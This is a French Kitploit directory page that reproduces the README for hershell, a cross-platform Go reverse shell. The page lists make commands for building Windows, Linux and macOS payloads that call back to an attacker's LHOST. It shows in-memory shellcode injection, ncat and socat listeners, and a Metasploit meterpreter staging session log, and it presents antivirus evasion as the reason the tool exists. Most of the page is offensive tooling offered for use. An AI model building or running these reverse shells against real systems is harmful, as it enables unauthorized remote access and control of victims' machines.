Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
hershell — Générateur de reverse shell multiplateforme | Kitploit
Outils/GitHubGitHub/lesnuages/hershell
Outils de Chiffrement/DéchiffrementGénération de PayloadsExploitationShellcodePost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHublesnuages/hershell

hershell

Générateur de reverse shell multiplateforme

59298il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Hershell

Simple reverse shell TCP écrit en Go.

Il utilise TLS pour sécuriser les communications et fournit une fonctionnalité d'épingle d'empreinte de la clé publique du certificat, empêchant l'interception du trafic.

Les systèmes d'exploitation supportés sont :

  • Windows
  • Linux
  • Mac OS
  • FreeBSD et dérivés

Pourquoi ?

Bien que les charges utiles meterpreter soient excellentes, elles sont parfois détectées par les produits antivirus.

L'objectif de ce projet est d'obtenir un reverse shell simple, pouvant fonctionner sur plusieurs systèmes.

Comment ?

Étant écrit en Go, vous pouvez compiler le source pour l'architecture souhaitée.

Pour commencer et dépendances

Comme il s'agit d'un projet Go, vous devrez suivre la documentation officielle pour configurer votre environnement Golang (avec la variable d'environnement $GOPATH).

Ensuite, exécutez simplement go get github.com/lesnuages/hershell pour récupérer le projet.

Construire la charge utile

Pour simplifier les choses, vous pouvez utiliser le Makefile fourni. Vous pouvez définir les variables d'environnement suivantes :

  • GOOS : le système d'exploitation cible
  • GOARCH : l'architecture cible
  • LHOST : l'adresse IP ou le nom de domaine de l'attaquant
  • LPORT : le port d'écoute

Pour les variables GOOS et GOARCH, vous pouvez obtenir les valeurs autorisées ici.

Cependant, quelques cibles d'assistance sont disponibles dans le Makefile :

  • depends : génère le certificat serveur (nécessaire pour le reverse shell)
  • windows32 : construit un exécutable Windows 32 bits (PE 32 bits)
  • windows64 : construit un exécutable Windows 64 bits (PE 64 bits)
  • linux32 : construit un exécutable Linux 32 bits (ELF 32 bits)
  • linux64 : construit un exécutable Linux 64 bits (ELF 64 bits)
  • macos32 : construit un exécutable Mac OS 32 bits (Mach-O)
  • macos64 : construit un exécutable Mac OS 64 bits (Mach-O)

Pour ces cibles, vous devez simplement définir les variables d'environnement LHOST et LPORT.

Utiliser le shell

Une fois exécuté, vous obtiendrez un shell distant. Ce shell interactif personnalisé vous permettra d'exécuter des commandes système via cmd.exe sur Windows, ou /bin/sh sur les machines UNIX.

Les commandes spéciales suivantes sont supportées :

  • run_shell : vous donne un shell système (vous permettant, par exemple, de changer de répertoire)
  • inject <shellcode en base64> : injecte un shellcode (encodé en base64) dans la mémoire du même processus et l'exécute
  • meterpreter [tcp|http|https] IP:PORT : se connecte à un multi/handler pour obtenir un stage2 meterpreter reverse tcp, http ou https depuis metasploit, et exécute le shellcode en mémoire (Windows uniquement pour le moment)
  • exit : quitte proprement

Utilisation

Tout d'abord, vous devrez générer un certificat valide :

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Pour Windows :

root@kitploit:~
# Cible 32 bits prédéfinie
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Cible 64 bits prédéfinie
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Pour Linux :

root@kitploit:~
# Cible 32 bits prédéfinie
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Cible 64 bits prédéfinie
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Pour Mac OS X

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Exemples

Utilisation de base

On peut utiliser divers outils pour gérer les connexions entrantes, tels que :

  • socat
  • ncat
  • le module serveur openssl
  • le multi handler de metasploit (avec une charge utile python/shell_reverse_tcp_ssl)

Voici un exemple avec ncat :

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Voici un exemple avec socat (testé avec la version 1.7.3.2) :

root@kitploit:~
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# la connexion serait initiée ici
[hershell]> whoami
desktop-3pvv31a\lab

Mise en scène Meterpreter

ATTENTION : cela ne fonctionne actuellement que pour la plateforme Windows.

La mise en scène meterpreter supporte actuellement les charges utiles suivantes :

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Pour utiliser la bonne, spécifiez simplement le transport que vous souhaitez utiliser (tcp, http, https)

Pour utiliser la fonctionnalité de mise en scène meterpreter, démarrez simplement votre handler :

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Ensuite, dans hershell, utilisez la commande meterpreter :

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

Une nouvelle session meterpreter devrait apparaître dans msfconsole :

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Crédits

@khast3x pour la fonctionnalité Dockerfile

Télécharger l’outil